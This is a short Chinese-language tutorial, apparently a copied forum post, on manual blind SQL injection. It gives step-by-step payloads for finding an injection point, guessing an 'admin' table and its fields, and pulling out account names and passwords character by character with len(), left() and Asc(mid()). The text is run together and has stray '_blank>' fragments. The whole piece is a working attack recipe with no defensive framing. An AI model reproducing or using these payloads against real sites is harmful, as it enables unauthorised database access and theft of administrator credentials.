1.判断有无注入点
' ; and 1=1 and 1=22.猜表: 常见的表:admin adminuser user pass password 等..
and 0<>(select count(*) from *) and 0<>(select count(*) from admin) ---判断是否存在admin这张表3.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个
and 0<(select count(*) from admin) and 1<(select count(*) from admin)4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称.
and 1=(select count(*) from admin where len(*) >0)-- and 1=(select count(*) from admin where len(用户字段名称name)>0) and 1=(select count(*) from admin where len(_blank>密码字段名称password)>0)5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止
and 1=(select count(*) from admin where len(*)>0) and 1=(select count(*) from admin where len(name)>6) 错误 and 1=(select count(*) from admin where len(name)>5) 正确 长度是6 and 1=(select count(*) from admin where len(name)=6) 正确and 1=(select count(*) from admin where len(password)>11) 正确
and 1=(select count(*) from admin where len(password)>12) 错误 长度是12 and 1=(select count(*) from admin where len(password)=12) 正确6.猜解字符
and 1=(select count(*) from admin where left(name,1)=a) ---猜解用户帐号的第一位 and 1= (select count(*) from admin where left(name,2)=ab)---猜解用户帐号的第二位 就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了 and 1=(select top 1 count(*) from Admin where Asc(mid (pass,5,1))=51) -- 这个查询语句可以猜解中文的用户和_blank>密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.group by users.id having 1=1--
